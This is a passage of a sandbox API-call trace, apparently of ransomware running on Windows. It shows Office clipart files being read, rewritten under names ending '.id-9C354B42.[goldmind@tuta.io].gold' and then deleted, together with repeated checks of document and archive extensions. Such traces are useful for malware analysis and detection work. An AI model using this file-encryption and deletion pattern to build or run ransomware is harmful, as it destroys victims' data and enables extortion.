(hObject=0x21c) returned 1 [0051.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString=".doc") returned 4 [0051.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString=".docx") returned 5 [0051.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.075] lstrlenW (lpString=".pdf") returned 4 [0051.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString=".xls") returned 4 [0051.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.075] lstrlenW (lpString=".xlsx") returned 5 [0051.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.075] lstrlenW (lpString=".ppt") returned 4 [0051.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString=".zip") returned 4 [0051.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.075] lstrlenW (lpString=".rar") returned 4 [0051.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString=".bz2") returned 4 [0051.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString=".7z") returned 3 [0051.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString=".dbf") returned 4 [0051.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString=".1cd") returned 4 [0051.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString=".jpg") returned 4 [0051.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.075] lstrlenW (lpString=".doc") returned 4 [0051.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString=".docx") returned 5 [0051.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.076] lstrlenW (lpString=".pdf") returned 4 [0051.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString=".xls") returned 4 [0051.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.076] lstrlenW (lpString=".xlsx") returned 5 [0051.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.076] lstrlenW (lpString=".ppt") returned 4 [0051.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.076] lstrlenW (lpString=".zip") returned 4 [0051.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.076] lstrlenW (lpString=".rar") returned 4 [0051.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString=".bz2") returned 4 [0051.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString=".7z") returned 3 [0051.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.076] lstrlenW (lpString=".dbf") returned 4 [0051.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.076] lstrlenW (lpString=".1cd") returned 4 [0051.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0051.076] lstrlenW (lpString=".jpg") returned 4 [0051.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.076] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.076] lstrlenW (lpString="BD07804_.WMF") returned 12 [0051.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.082] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4924) returned 1 [0051.082] CloseHandle (hObject=0x21c) returned 1 [0051.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0051.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.083] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.083] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.083] GetLastError () returned 0x0 [0051.083] ReadFile (in: hFile=0x21c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x133c, lpOverlapped=0x0) returned 1 [0051.084] WriteFile (in: hFile=0x220, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0051.085] ReadFile (in: hFile=0x21c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.085] WriteFile (in: hFile=0x220, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.085] SetEndOfFile (hFile=0x220) returned 1 [0051.085] CloseHandle (hObject=0x220) returned 1 [0051.085] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.086] SetEndOfFile (hFile=0x21c) returned 1 [0051.086] CloseHandle (hObject=0x21c) returned 1 [0051.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString=".doc") returned 4 [0051.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString=".docx") returned 5 [0051.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.087] lstrlenW (lpString=".pdf") returned 4 [0051.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString=".xls") returned 4 [0051.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.087] lstrlenW (lpString=".xlsx") returned 5 [0051.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.087] lstrlenW (lpString=".ppt") returned 4 [0051.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString=".zip") returned 4 [0051.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.087] lstrlenW (lpString=".rar") returned 4 [0051.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString=".bz2") returned 4 [0051.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString=".7z") returned 3 [0051.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString=".dbf") returned 4 [0051.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString=".1cd") returned 4 [0051.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString=".jpg") returned 4 [0051.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.087] lstrlenW (lpString=".doc") returned 4 [0051.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString=".docx") returned 5 [0051.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.087] lstrlenW (lpString=".pdf") returned 4 [0051.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.087] lstrlenW (lpString=".xls") returned 4 [0051.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.088] lstrlenW (lpString=".xlsx") returned 5 [0051.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.088] lstrlenW (lpString=".ppt") returned 4 [0051.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.088] lstrlenW (lpString=".zip") returned 4 [0051.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.088] lstrlenW (lpString=".rar") returned 4 [0051.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.088] lstrlenW (lpString=".bz2") returned 4 [0051.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.088] lstrlenW (lpString=".7z") returned 3 [0051.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.088] lstrlenW (lpString=".dbf") returned 4 [0051.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.088] lstrlenW (lpString=".1cd") returned 4 [0051.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0051.088] lstrlenW (lpString=".jpg") returned 4 [0051.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.088] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.088] lstrlenW (lpString="BD07831_.WMF") returned 12 [0051.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.090] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4066) returned 1 [0051.095] CloseHandle (hObject=0x220) returned 1 [0051.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0051.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.102] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.102] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.116] GetLastError () returned 0x0 [0051.116] ReadFile (in: hFile=0x220, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0051.127] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0051.128] ReadFile (in: hFile=0x220, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.128] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.128] SetEndOfFile (hFile=0x188) returned 1 [0051.128] CloseHandle (hObject=0x188) returned 1 [0051.128] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.128] SetEndOfFile (hFile=0x220) returned 1 [0051.129] CloseHandle (hObject=0x220) returned 1 [0051.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0051.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.129] lstrlenW (lpString=".doc") returned 4 [0051.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.129] lstrlenW (lpString=".docx") returned 5 [0051.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.130] lstrlenW (lpString=".pdf") returned 4 [0051.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString=".xls") returned 4 [0051.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.130] lstrlenW (lpString=".xlsx") returned 5 [0051.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.130] lstrlenW (lpString=".ppt") returned 4 [0051.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString=".zip") returned 4 [0051.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.130] lstrlenW (lpString=".rar") returned 4 [0051.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString=".bz2") returned 4 [0051.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString=".7z") returned 3 [0051.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString=".dbf") returned 4 [0051.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString=".1cd") returned 4 [0051.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString=".jpg") returned 4 [0051.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString=".doc") returned 4 [0051.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString=".docx") returned 5 [0051.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.130] lstrlenW (lpString=".pdf") returned 4 [0051.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString=".xls") returned 4 [0051.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.130] lstrlenW (lpString=".xlsx") returned 5 [0051.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.130] lstrlenW (lpString=".ppt") returned 4 [0051.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.130] lstrlenW (lpString=".zip") returned 4 [0051.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.130] lstrlenW (lpString=".rar") returned 4 [0051.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.131] lstrlenW (lpString=".bz2") returned 4 [0051.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.131] lstrlenW (lpString=".7z") returned 3 [0051.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.131] lstrlenW (lpString=".dbf") returned 4 [0051.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.131] lstrlenW (lpString=".1cd") returned 4 [0051.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0051.131] lstrlenW (lpString=".jpg") returned 4 [0051.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.131] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.131] lstrlenW (lpString="BD09194_.WMF") returned 12 [0051.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.131] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=14540) returned 1 [0051.131] CloseHandle (hObject=0x220) returned 1 [0051.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0051.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.132] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.132] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.132] GetLastError () returned 0x0 [0051.132] ReadFile (in: hFile=0x220, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0051.134] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0051.135] ReadFile (in: hFile=0x220, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.135] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.135] SetEndOfFile (hFile=0x188) returned 1 [0051.135] CloseHandle (hObject=0x188) returned 1 [0051.135] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.135] SetEndOfFile (hFile=0x220) returned 1 [0051.136] CloseHandle (hObject=0x220) returned 1 [0051.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0051.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0051.136] lstrlenW (lpString=".doc") returned 4 [0051.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.136] lstrlenW (lpString=".docx") returned 5 